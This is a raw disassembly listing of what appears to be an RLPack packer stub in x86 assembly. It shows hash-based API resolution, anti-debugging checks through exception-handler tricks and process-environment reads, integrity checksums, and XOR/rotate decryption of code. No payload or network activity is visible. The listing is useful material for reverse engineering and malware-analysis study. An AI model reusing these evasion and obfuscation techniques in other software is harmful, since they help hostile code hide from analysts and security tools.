loc_521C3E:				; CODE XREF: start+507j
		or	edi, edi
		jnz	short loc_521C5B
		push	esi
		lea	ebx, [ebp+147Bh]
		push	ebx
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+1442h]
		add	esp, 0Ch
		jmp	short loc_521CA1
; ---------------------------------------------------------------------------

loc_521C5B:				; CODE XREF: start+51Dj
		cmp	edi, 1
		jnz	short loc_521C7F
		push	esi
		push	dword ptr [ebp+1F43h]
		lea	ebx, [ebp+14A3h]
		push	ebx
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+1442h]
		add	esp, 10h
		jmp	short loc_521CA1
; ---------------------------------------------------------------------------

loc_521C7F:				; CODE XREF: start+53Bj
		cmp	edi, 2
		jnz	short loc_521CA1
		push	esi
		push	dword ptr [ebp+140Ah]
		lea	ebx, [ebp+14DCh]
		push	ebx
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+1442h]
		add	esp, 10h

loc_521CA1:				; CODE XREF: start+536j start+55Aj ...
		push	30h
		lea	ebx, [ebp+1451h]
		push	ebx
		push	dword ptr [ebp+1F47h]
		push	0
		call	dword ptr [ebp+1436h]
		push	4000h
		push	1000h
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+3FEh]
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		pusha
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_521CF6
		push	dword ptr [ebp+1436h]
		push	eax
		call	sub_522ACA

loc_521CF6:				; CODE XREF: .RLPack:00521CE8j
		mov	eax, offset sub_422100
		call	sub_521928
		mov	dword ptr [eax], 0C390C033h
		call	eax ; sub_422100
		lea	eax, [ebp+610h]
		mov	[ebp+1F43h], eax
		mov	[ebp+1F47h], ebp
		lea	eax, [ebp+61Ch]
		push	eax
		push	large dword ptr	fs:0
		mov	[ebp+1406h], esp
		mov	large fs:0, esp
		xor	eax, eax
		xchg	eax, [eax]
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+10h]
		mov	ecx, offset dword_52366C
		call	sub_521948
		mov	ebx, [ecx]
		mov	[eax+0B8h], ebx
		mov	ecx, offset byte_522B2F
		call	sub_521948
		mov	ebx, [ecx]
		mov	[eax+0C4h], ebx
		mov	ecx, offset dword_523670
		call	sub_521948
		mov	ebx, [ecx]
		mov	[eax+0B4h], ebx
		mov	eax, 0
		leave
		retn
; ---------------------------------------------------------------------------
		pusha
		call	sub_522A8E
		mov	[ebp+1416h], eax
		lea	ebx, [ebp+143Ah]
		mov	esi, 2
		jmp	short loc_521DB4
; ---------------------------------------------------------------------------

loc_521DA1:				; CODE XREF: .RLPack:00521DB7j
		push	dword ptr [ebx]
		push	dword ptr [ebp+1416h]
		call	sub_522ACA
		mov	[ebx], eax
		add	ebx, 4
		dec	esi

loc_521DB4:				; CODE XREF: .RLPack:00521D9Fj
		cmp	esi, 0
		ja	short loc_521DA1
		lea	eax, [ebp+1771h]
		push	eax
		push	0
		push	1F0001h
		call	dword ptr [ebp+143Eh]
		or	eax, eax
		jnz	short loc_521DE4
		lea	eax, [ebp+1771h]
		push	eax
		push	0
		push	0
		call	dword ptr [ebp+143Ah]
		jmp	short loc_521E21
; ---------------------------------------------------------------------------

loc_521DE4:				; CODE XREF: .RLPack:00521DCFj
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_521E09
		push	dword ptr [ebp+1436h]
		push	eax
		call	sub_522ACA

loc_521E09:				; CODE XREF: .RLPack:00521DFBj
		push	30h
		lea	ebx, [ebp+1451h]
		push	ebx
		lea	ebx, [ebp+151Fh]
		push	ebx
		push	0
		call	eax
		popa
		popa
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_521E21:				; CODE XREF: .RLPack:00521DE2j
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		call	sub_522A8E
		mov	[ebp+1416h], eax
		lea	ebx, [ebp+141Eh]
		mov	esi, 6
		jmp	short loc_521E4F
; ---------------------------------------------------------------------------

loc_521E3C:				; CODE XREF: .RLPack:00521E52j
		push	dword ptr [ebx]
		push	dword ptr [ebp+1416h]
		call	sub_522ACA
		mov	[ebx], eax
		add	ebx, 4
		dec	esi

loc_521E4F:				; CODE XREF: .RLPack:00521E3Aj
		cmp	esi, 0
		ja	short loc_521E3C
		push	40h
		push	1000h
		push	104h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+1F43h], eax
		push	104h
		push	eax
		push	0
		call	dword ptr [ebp+141Eh]
		push	0
		push	80h
		push	3
		push	0
		push	0
		push	80000000h
		push	dword ptr [ebp+1F43h]
		call	dword ptr [ebp+1422h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_521F8A
		mov	[ebp+1F47h], eax
		call	sub_521F91
		push	0
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+142Ah]
		mov	esi, eax
		push	40h
		push	1000h
		push	eax
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+1F43h], eax
		push	0
		lea	ebx, [ebp+140Eh]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+1426h]
		cmp	eax, 1
		jnz	short loc_521F58
		mov	eax, [ebp+1F43h]
		mov	ecx, [ebp+1F3Bh]
		xor	ebx, ebx
		cdq
		jmp	short loc_521F0A
; ---------------------------------------------------------------------------

loc_521F01:				; CODE XREF: .RLPack:00521F0Dj
		mov	dl, [eax]
		rol	ebx, 7
		xor	bl, dl
		inc	eax
		dec	ecx

loc_521F0A:				; CODE XREF: .RLPack:00521EFFj
		cmp	ecx, 0
		ja	short loc_521F01
		cmp	ebx, [ebp+1F37h]
		jz	short loc_521F58
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_521F3C
		push	dword ptr [ebp+1436h]
		push	eax
		call	sub_522ACA

loc_521F3C:				; CODE XREF: .RLPack:00521F2Ej
		push	30h
		lea	ebx, [ebp+1451h]
		push	ebx
		lea	ebx, [ebp+1458h]
		push	ebx
		push	0
		call	eax
		push	0
		call	dword ptr [ebp+1432h]

loc_521F58:				; CODE XREF: .RLPack:00521EEEj
					; .RLPack:00521F15j
		push	4000h
		push	esi
		push	dword ptr [ebp+1F43h]
		call	dword ptr [ebp+3FEh]
		cmp	dword ptr [ebp+17B3h], 1
		jz	short loc_521F8F
		cmp	dword ptr [ebp+17B7h], 1
		jz	short loc_521F8F
		push	dword ptr [ebp+1F47h]
		call	dword ptr [ebp+142Eh]
		jmp	short loc_521F8F
; ---------------------------------------------------------------------------

loc_521F8A:				; CODE XREF: .RLPack:00521E9Dj
		call	sub_521F91

loc_521F8F:				; CODE XREF: .RLPack:00521F71j
					; .RLPack:00521F7Aj ...
		popa
		retn

; =============== S U B	R O U T	I N E =======================================



sub_521F91	proc near		; CODE XREF: .RLPack:00521EA9p
					; .RLPack:loc_521F8Ap
		push	4000h
		push	104h
		push	dword ptr [ebp+1F43h]
		call	dword ptr [ebp+3FEh]
		retn
sub_521F91	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		pusha
		mov	esi, offset sub_401000
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	[esi+198Eh], eax
		cmp	dword ptr [ebp+0Ch], 110h
		jnz	short loc_521FFE
		mov	dword ptr [ebp-4], 1
		lea	ebx, [esi+1C67h]
		mov	edi, 7
		jmp	short loc_521FF2
; ---------------------------------------------------------------------------

loc_521FE1:				; CODE XREF: .RLPack:00521FF5j
		push	dword ptr [ebx]
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Eh]
		mov	[ebx], eax
		add	ebx, 4
		dec	edi

loc_521FF2:				; CODE XREF: .RLPack:00521FDFj
		cmp	edi, 0
		ja	short loc_521FE1
		call	sub_522107
		jmp	short loc_522059
; ---------------------------------------------------------------------------

loc_521FFE:				; CODE XREF: .RLPack:00521FCBj
		cmp	dword ptr [ebp+0Ch], 10h
		jz	short loc_52200D
		cmp	dword ptr [esi+1992h], 1
		jnz	short loc_52201A

loc_52200D:				; CODE XREF: .RLPack:00522002j
		push	0
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Ah]
		jmp	short loc_522059
; ---------------------------------------------------------------------------

loc_52201A:				; CODE XREF: .RLPack:0052200Bj
		cmp	dword ptr [ebp+0Ch], 111h
		jnz	short loc_522059
		cmp	dword ptr [ebp+10h], 7
		jnz	short loc_522059
		push	34h
		lea	eax, [esi+153Fh]
		push	eax
		lea	eax, [esi+1576h]
		push	eax
		push	0
		call	dword ptr [esi+1436h]
		cmp	eax, 6
		jnz	short loc_522059
		push	0
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Ah]
		push	0
		call	dword ptr [esi+198Ah]

loc_522059:				; CODE XREF: .RLPack:00521FFCj
					; .RLPack:00522018j ...
		popa
		mov	eax, [ebp-4]
		leave
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		pusha
		mov	esi, offset sub_401000
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		mov	[esi+198Eh], eax
		cmp	dword ptr [ebp+0Ch], 110h
		jnz	short loc_5220B2
		mov	dword ptr [ebp-4], 1
		lea	ebx, [esi+1C83h]
		mov	edi, 3
		jmp	short loc_5220AB
; ---------------------------------------------------------------------------

loc_52209A:				; CODE XREF: .RLPack:005220AEj
		push	dword ptr [ebx]
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Eh]
		mov	[ebx], eax
		add	ebx, 4
		dec	edi

loc_5220AB:				; CODE XREF: .RLPack:00522098j
		cmp	edi, 0
		ja	short loc_52209A
		jmp	short loc_5220FF
; ---------------------------------------------------------------------------

loc_5220B2:				; CODE XREF: .RLPack:00522084j
		cmp	dword ptr [ebp+0Ch], 10h
		jz	short loc_5220C1
		cmp	dword ptr [esi+1992h], 1
		jnz	short loc_5220CE

loc_5220C1:				; CODE XREF: .RLPack:005220B6j
		push	0
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Ah]
		jmp	short loc_5220FF
; ---------------------------------------------------------------------------

loc_5220CE:				; CODE XREF: .RLPack:005220BFj
		cmp	dword ptr [ebp+0Ch], 111h
		jnz	short loc_5220FF
		cmp	dword ptr [ebp+10h], 3
		jnz	short loc_5220FF
		push	100h
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C87h]
		call	dword ptr [esi+1976h]
		push	0
		push	dword ptr [ebp+8]
		call	dword ptr [esi+196Ah]

loc_5220FF:				; CODE XREF: .RLPack:005220B0j
					; .RLPack:005220CCj ...
		popa
		mov	eax, [ebp-4]
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================



sub_522107	proc near		; CODE XREF: .RLPack:00521FF7p
		pusha
		call	sub_522A8E
		mov	[esi+1416h], eax
		push	dword ptr [esi+1986h]
		push	dword ptr [esi+1416h]
		call	sub_522ACA
		mov	[esi+1986h], eax
		lea	eax, [esi+19AEh]
		push	eax
		push	0
		push	esi
		lea	eax, [esi+0A1Eh]
		push	eax
		push	0
		push	0
		call	dword ptr [esi+1986h]
		popa
		retn
sub_522107	endp

; ---------------------------------------------------------------------------
		pusha
		mov	esi, [ebp+0Ch]
		lea	eax, [esi+199Eh]
		mov	edi, [eax]
		mov	edi, [edi]
		jmp	loc_52225F
; ---------------------------------------------------------------------------

loc_52215A:				; CODE XREF: .RLPack:00522265j
		call	sub_522283
		lea	eax, [esi+1A00h]
		push	eax
		push	0
		lea	eax, [esi+199Eh]
		mov	eax, [eax]
		add	eax, 4
		mov	ebx, [esi+19A2h]
		mov	ecx, 1
		jmp	short loc_522188
; ---------------------------------------------------------------------------

loc_522180:				; CODE XREF: .RLPack:0052218Aj
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_522188
		inc	eax
		inc	ecx

loc_522188:				; CODE XREF: .RLPack:0052217Ej
					; .RLPack:00522184j
		cmp	ecx, ebx
		jb	short loc_522180
		mov	ebx, eax
		pusha
		push	ebx
		lea	ebx, [esi+141Eh]
		push	dword ptr [ebx]
		push	dword ptr [esi+1416h]
		call	sub_522ACA
		push	104h
		push	dword ptr [esi+19AAh]
		push	0
		call	eax
		lea	eax, [esi+19AAh]
		mov	eax, [eax]
		add	eax, 104h
		jmp	short loc_5221C2
; ---------------------------------------------------------------------------

loc_5221C1:				; CODE XREF: .RLPack:005221C5j
		dec	eax

loc_5221C2:				; CODE XREF: .RLPack:005221BFj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_5221C1
		inc	eax
		pop	ebx
		jmp	short loc_5221D2
; ---------------------------------------------------------------------------

loc_5221CB:				; CODE XREF: .RLPack:005221D5j
		movzx	ecx, byte ptr [ebx]
		mov	[eax], cl
		inc	eax
		inc	ebx

loc_5221D2:				; CODE XREF: .RLPack:005221C9j
		cmp	byte ptr [ebx],	0
		jnz	short loc_5221CB
		mov	byte ptr [eax],	0
		popa
		lea	eax, [esi+19AAh]
		push	dword ptr [eax]
		push	ebx
		lea	eax, [esi+1B63h]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	0
		call	dword ptr [esi+1982h]
		or	eax, eax
		jz	short loc_52222E
		push	10h
		lea	eax, [esi+1451h]
		push	eax
		lea	eax, [esi+15DFh]
		push	eax
		push	0
		call	dword ptr [esi+1436h]
		push	0
		call	dword ptr [esi+198Ah]
		jmp	short loc_52225F
; ---------------------------------------------------------------------------

loc_52222E:				; CODE XREF: .RLPack:0052220Aj
		push	ebx
		call	dword ptr [esi+3F2h]
		or	eax, eax
		jnz	short loc_522259
		push	10h
		lea	eax, [esi+1451h]
		push	eax
		lea	eax, [esi+16EDh]
		push	eax
		push	0
		call	dword ptr [esi+1436h]
		push	0
		call	dword ptr [esi+198Ah]

loc_522259:				; CODE XREF: .RLPack:00522237j
		inc	dword ptr [esi+19A2h]

loc_52225F:				; CODE XREF: .RLPack:00522155j
					; .RLPack:0052222Cj
		cmp	[esi+19A2h], edi
		jbe	loc_52215A
		mov	dword ptr [esi+1992h], 1
		push	dword ptr [esi+198Eh]
		call	dword ptr [esi+197Eh]
		popa
		retn

; =============== S U B	R O U T	I N E =======================================



sub_522283	proc near		; CODE XREF: .RLPack:loc_52215Ap
		pusha
		lea	eax, [esi+1A63h]
		push	eax
		lea	eax, [esi+19C2h]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C6Fh]
		call	dword ptr [esi+1972h]
		lea	eax, [esi+199Eh]
		mov	eax, [eax]
		add	eax, 4
		mov	ebx, [esi+19A2h]
		mov	ecx, 1
		jmp	short loc_5222D3
; ---------------------------------------------------------------------------

loc_5222CB:				; CODE XREF: sub_522283+52j
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_5222D3
		inc	eax
		inc	ecx

loc_5222D3:				; CODE XREF: sub_522283+46j
					; sub_522283+4Cj
		cmp	ecx, ebx
		jb	short loc_5222CB
		push	eax
		lea	eax, [esi+19CEh]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C73h]
		call	dword ptr [esi+1972h]
		lea	eax, [esi+199Eh]
		mov	eax, [eax]
		push	dword ptr [eax]
		push	dword ptr [esi+19A2h]
		lea	eax, [esi+19F4h]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 10h
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C7Bh]
		call	dword ptr [esi+1972h]
		push	0
		lea	eax, [esi+19DEh]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C77h]
		call	dword ptr [esi+1972h]
		popa
		retn
sub_522283	endp

; ---------------------------------------------------------------------------
		pusha
		push	eax
		lea	eax, [esi+19DEh]
		push	eax
		push	dword ptr [esi+19A6h]
		call	dword ptr [esi+1442h]
		add	esp, 0Ch
		push	dword ptr [esi+19A6h]
		push	dword ptr [esi+1C77h]
		call	dword ptr [esi+1972h]
		popa
		retn

; =============== S U B	R O U T	I N E =======================================



sub_522390	proc near		; CODE XREF: start:loc_521801p
		pusha
		mov	esi, [ebp+1F47h]
		jmp	short loc_5223BD
; ---------------------------------------------------------------------------

loc_522399:				; CODE XREF: sub_522390+30j
		push	esi
		call	dword ptr [ebp+406h]
		or	eax, eax
		jnz	short loc_5223B4
		push	esi
		call	dword ptr [ebp+3F2h]
		or	eax, eax
		jnz	short loc_5223B4
		call	sub_5223C4

loc_5223B4:				; CODE XREF: sub_522390+12j
					; sub_522390+1Dj
		jmp	short loc_5223B7
; ---------------------------------------------------------------------------

loc_5223B6:				; CODE XREF: sub_522390+2Aj
		inc	esi

loc_5223B7:				; CODE XREF: sub_522390:loc_5223B4j
		cmp	byte ptr [esi],	0
		jnz	short loc_5223B6
		inc	esi

loc_5223BD:				; CODE XREF: sub_522390+7j
		cmp	byte ptr [esi],	1
		jnz	short loc_522399
		popa
		retn
sub_522390	endp


; =============== S U B	R O U T	I N E =======================================



sub_5223C4	proc near		; CODE XREF: sub_522390+1Fp
		pusha
		cmp	dword ptr [ebp+1A63h], 0
		jz	loc_52248B
		cmp	dword ptr [ebp+199Eh], 0
		jnz	short loc_52242D
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+19AAh], eax
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+19A6h], eax
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+199Eh], eax
		jmp	short loc_52242D
; ---------------------------------------------------------------------------
		jmp	short loc_52248B
; ---------------------------------------------------------------------------

loc_52242D:				; CODE XREF: sub_5223C4+15j
					; sub_5223C4+65j
		mov	dword ptr [ebp+1996h], 0
		mov	eax, [ebp+199Eh]
		add	eax, 4
		jmp	short loc_522468
; ---------------------------------------------------------------------------

loc_522442:				; CODE XREF: sub_5223C4+A7j
		pusha
		mov	edi, eax
		xor	ecx, ecx
		jmp	short loc_52244B
; ---------------------------------------------------------------------------

loc_522449:				; CODE XREF: sub_5223C4+8Aj
		inc	eax
		inc	ecx

loc_52244B:				; CODE XREF: sub_5223C4+83j
		cmp	byte ptr [eax],	0
		jnz	short loc_522449
		repe cmpsb
		jnz	short loc_52245E
		mov	dword ptr [ebp+1996h], 1

loc_52245E:				; CODE XREF: sub_5223C4+8Ej
		popa
		jmp	short loc_522462
; ---------------------------------------------------------------------------

loc_522461:				; CODE XREF: sub_5223C4+A1j
		inc	eax

loc_522462:				; CODE XREF: sub_5223C4+9Bj
		cmp	byte ptr [eax],	0
		jnz	short loc_522461
		inc	eax

loc_522468:				; CODE XREF: sub_5223C4+7Cj
		cmp	byte ptr [eax],	0
		jnz	short loc_522442
		cmp	dword ptr [ebp+1996h], 0
		jnz	short loc_52248B
		jmp	short loc_52247E
; ---------------------------------------------------------------------------

loc_522478:				; CODE XREF: sub_5223C4+BDj
		mov	bl, [esi]
		mov	[eax], bl
		inc	eax
		inc	esi

loc_52247E:				; CODE XREF: sub_5223C4+B2j
		cmp	byte ptr [esi],	0
		jnz	short loc_522478
		mov	eax, [ebp+199Eh]
		inc	dword ptr [eax]

loc_52248B:				; CODE XREF: sub_5223C4+8j
					; sub_5223C4+67j ...
		popa
		retn
sub_5223C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_52248D	proc near		; CODE XREF: sub_5224E8+57p
					; .RLPack:loc_522644p
		pusha
		push	4000h
		push	1000h
		push	dword ptr [ebp+199Eh]
		call	dword ptr [ebp+3FEh]
		push	4000h
		push	1000h
		push	dword ptr [ebp+19AAh]
		call	dword ptr [ebp+3FEh]
		push	4000h
		push	1000h
		push	dword ptr [ebp+19A6h]
		call	dword ptr [ebp+3FEh]
		push	4000h
		push	1000h
		push	dword ptr [ebp+199Ah]
		call	dword ptr [ebp+3FEh]
		popa
		retn
sub_52248D	endp


; =============== S U B	R O U T	I N E =======================================



sub_5224E8	proc near		; CODE XREF: start+FAp
		pusha
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+199Ah], eax
		mov	edx, eax
		lea	eax, [ebp+1C8Fh]
		mov	ecx, 1B6h
		jmp	short loc_52251A
; ---------------------------------------------------------------------------

loc_522512:				; CODE XREF: sub_5224E8+35j
		movzx	ebx, byte ptr [eax]
		mov	[edx], bl
		inc	eax
		inc	edx
		dec	ecx

loc_52251A:				; CODE XREF: sub_5224E8+28j
		cmp	ecx, 0
		ja	short loc_522512
		push	0
		call	dword ptr [ebp+406h]
		push	0
		lea	ebx, [ebp+87Fh]
		push	ebx
		push	0
		push	dword ptr [ebp+199Ah]
		push	eax
		call	dword ptr [ebp+197Ah]
		call	sub_52248D
		popa
		retn
sub_5224E8	endp

; ---------------------------------------------------------------------------
		pusha
		call	sub_52264B
		mov	eax, [edi+esi]
		mov	[ebp+19BAh], eax
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+19A6h], eax
		push	40h
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp+3FAh]
		mov	[ebp+199Ah], eax
		mov	edx, eax
		lea	eax, [ebp+1E4Bh]
		mov	ecx, 0ECh
		jmp	short loc_5225A0
; ---------------------------------------------------------------------------

loc_522598:				; CODE XREF: .RLPack:005225A3j
		movzx	ebx, byte ptr [eax]
		mov	[edx], bl
		inc	eax
		inc	edx
		dec	ecx

loc_5225A0:				; CODE XREF: .RLPack:00522596j
		cmp	ecx, 0
		ja	short loc_522598
		push	0
		call	dword ptr [ebp+406h]
		push	0
		lea	ebx, [ebp+938h]
		push	ebx
		push	0
		push	dword ptr [ebp+199Ah]
		push	eax
		call	dword ptr [ebp+197Ah]
		mov	eax, [ebp+19A6h]
		xor	ebx, ebx
		cdq
		jmp	short loc_5225D8
; ---------------------------------------------------------------------------

loc_5225D0:				; CODE XREF: .RLPack:005225DBj
		mov	dl, [eax]
		rol	ebx, 7
		xor	bl, dl
		inc	eax

loc_5225D8:				; CODE XREF: .RLPack:005225CEj
		cmp	byte ptr [eax],	0
		jnz	short loc_5225D0
		cmp	ebx, [ebp+19B6h]
		jnz	short loc_522628
		mov	eax, [ebp+19A6h]
		cdq
		jmp	short loc_5225F6
; ---------------------------------------------------------------------------

loc_5225EE:				; CODE XREF: .RLPack:005225F9j
		mov	dl, [eax]
		rol	ebx, 7
		xor	bl, dl
		inc	eax

loc_5225F6:				; CODE XREF: .RLPack:005225ECj
		cmp	byte ptr [eax],	0
		jnz	short loc_5225EE
		mov	eax, [ebp+19BAh]
		mov	ecx, [ebp+19BEh]
		cmp	ecx, 0
		jbe	short loc_522644
		cmp	eax, 0
		jbe	short loc_522644
		cmp	ebx, 0
		jbe	short loc_522644
		jmp	short loc_522621
; ---------------------------------------------------------------------------

loc_522618:				; CODE XREF: .RLPack:00522624j
		xor	[eax], bl
		xor	bl, cl
		rol	ebx, 7
		inc	eax
		dec	ecx

loc_522621:				; CODE XREF: .RLPack:00522616j
		cmp	ecx, 0
		ja	short loc_522618
		jmp	short loc_522644
; ---------------------------------------------------------------------------

loc_522628:				; CODE XREF: .RLPack:005225E3j
		push	10h
		lea	eax, [ebp+153Fh]
		push	eax
		lea	eax, [ebp+1545h]
		push	eax
		push	0
		call	dword ptr [ebp+1436h]
		popa
		popa
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_522644:				; CODE XREF: .RLPack:0052260Aj
					; .RLPack:0052260Fj ...
		call	sub_52248D
		popa
		retn

; =============== S U B	R O U T	I N E =======================================



sub_52264B	proc near		; CODE XREF: start+F5p
					; .RLPack:00522547p
		pusha
		cmp	dword ptr [ebp+1982h], 0D95D2399h
		jnz	loc_52279E
		call	sub_522A8E
		mov	[ebp+1416h], eax
		push	dword ptr [ebp+198Ah]
		push	eax
		call	sub_522ACA
		mov	[ebp+198Ah], eax
		lea	ebx, [ebp+1446h]
		push	ebx
		call	dword ptr [ebp+3F2h]
		mov	[ebp+141Ah], eax
		lea	ebx, [ebp+196Ah]
		mov	esi, 5
		jmp	short loc_5226AC
; ---------------------------------------------------------------------------

loc_522699:				; CODE XREF: sub_52264B+64j
		push	dword ptr [ebx]
		push	dword ptr [ebp+141Ah]
		call	sub_522ACA
		mov	[ebx], eax
		add	ebx, 4
		dec	esi

loc_5226AC:				; CODE XREF: sub_52264B+4Cj
		cmp	esi, 0
		ja	short loc_522699
		cmp	dword ptr [ebp+1436h], 0ABBC680Dh
		jnz	short loc_5226D4
		push	dword ptr [ebp+1436h]
		push	dword ptr [ebp+141Ah]
		call	sub_522ACA
		mov	[ebp+1436h], eax

loc_5226D4:				; CODE XREF: sub_52264B+70j
		cmp	dword ptr [ebp+1442h], 0EA3AF0D7h
		jnz	short loc_5226F7
		push	dword ptr [ebp+1442h]
		push	dword ptr [ebp+141Ah]
		call	sub_522ACA
		mov	[ebp+1442h], eax

loc_5226F7:				; CODE XREF: sub_52264B+93j
		lea	ebx, [ebp+195Fh]
		push	ebx
		call	dword ptr [ebp+3F2h]
		push	dword ptr [ebp+1982h]
		push	eax
		call	sub_522ACA
		mov	[ebp+1982h], eax
		lea	ebx, [ebp+1A00h]
		lea	eax, [ebp+1A04h]
		mov	[ebx], eax
		lea	ebx, [ebp+1A04h]
		lea	eax, [ebp+1A2Eh]
		mov	[ebx], eax
		lea	ebx, [ebp+1A08h]
		lea	eax, [ebp+1A28h]
		mov	[ebx], eax
		lea	ebx, [ebp+1A0Ch]
		lea	eax, [ebp+1A28h]
		mov	[ebx], eax
		lea	ebx, [ebp+1A10h]
		lea	eax, [ebp+1A2Eh]
		mov	[ebx], eax
		lea	ebx, [ebp+1A1Ch]
		lea	eax, [ebp+1A31h]
		mov	[ebx], eax
		lea	ebx, [ebp+1A20h]
		lea	eax, [ebp+1A2Eh]
		mov	[ebx], eax
		lea	ebx, [ebp+1A24h]
		lea	eax, [ebp+1A2Eh]
		mov	[ebx], eax
		lea	ebx, [ebp+887h]
		mov	[ebx], ebp
		lea	ebx, [ebp+940h]
		mov	[ebx], ebp
		lea	ebx, [ebp+1A33h]
		mov	[ebx], ebp

loc_52279E:				; CODE XREF: sub_52264B+Bj
		popa
		retn
sub_52264B	endp

; ---------------------------------------------------------------------------
		dd 5BBD8360h, 19h, 8D604875h, 14469Dh, 95FF5300h, 406h
		dd 0D75C00Bh, 14469D8Dh, 0FF530000h, 3F295h, 1A858900h
		dd 6A000014h, 10006840h, 858B0000h, 1412h, 8316C06Bh, 6A5064C0h
		dd 0FA95FF00h, 89000003h, 195B85h, 0BD8B6100h, 1F3Fh, 1416BD3Bh
		dd 8740000h, 141ABD3Bh,	59750000h, 310FF88Bh, 195B9D8Bh
		dd 3C60000h, 143C693h, 33F83368h, 7C2C1D0h, 7B89FA03h
		dd 643C602h, 743C681h, 843C62Ch, 9538924h, 930D43C6h, 810E43C6h
		dd 340F43C6h, 241043C6h, 0C6114389h, 83C31543h,	9D8916C3h
		dd 195Bh, 5B858B61h, 83000019h,	0EBC316E8h, 60C36102h
		dd 1BCE8h, 179E800h, 1BE80000h,	89000002h, 141685h, 0A39D8D00h
		dd 0BE000017h, 4, 33FF13EBh, 1416B5FFh,	37E80000h, 89000002h
		dd 4C38303h, 0FE834Eh, 85C7E877h, 17BBh, 94h, 17BB858Dh
		dd 0FF500000h, 17AB95h,	0CBBD8300h, 1000017h, 0BD831974h
		dd 17A3h, 0FF107400h, 17A395h, 74C00B00h, 0B3858906h, 83000017h
		dd 17CBBDh, 66750200h, 17A7BD83h, 74000000h, 0B7858D27h
		dd 50000017h, 95FFFF6Ah, 17A7h,	17A7858Bh, 38810000h, 824448Bh
		dd 85C70A75h, 17B7h, 1,	30A164h, 0C0830000h, 83008B68h
		dd 0A7570F8h, 17B385C7h, 10000h, 0A1640000h, 18h, 8B30408Bh
		dd 78831840h, 0A740010h, 17B385C7h, 10000h, 9BE0000h, 8D000000h
		dd 184FBDh, 68006A00h, 80h, 6A036Ah, 68016Ah, 57800000h
		dd 17AF95FFh, 0F8830000h, 0C70A74FFh, 17B385h, 100h, 3F804700h
		dd 47FA7500h, 61CE754Eh, 0BD8360C3h, 17B3h, 83097401h
		dd 17B7BDh, 4D750100h, 14469D8Dh, 0FF530000h, 3F295h, 1A858900h
		dd 81000014h, 1436BDh, 0BC680D00h, 0FF1275ABh, 1436B5h
		dd 7E85000h, 89000001h,	143685h, 8D306A00h, 145185h, 858D5000h
		dd 18ACh, 0FF006A50h, 143695h, 61586100h, 60C361C3h, 95FF006Ah
		dd 406h, 0B28D8D50h, 51000019h,	68406Ah, 50000002h, 40295FFh
		dd 8D580000h, 20088h, 408B6600h, 4003663Ch, 0EBC82B14h
		dd 104C605h, 0F9834900h, 61F67700h, 0A16460C3h,	30h, 0F78C085h
		dd 8B0C408Bh, 40810C40h, 300020h, 6A1CEB00h, 695FF00h
		dd 85000004h, 831079D2h, 75FF087Ah, 4528B0Ah, 504281h
		dd 61000030h
; ---------------------------------------------------------------------------
		retn

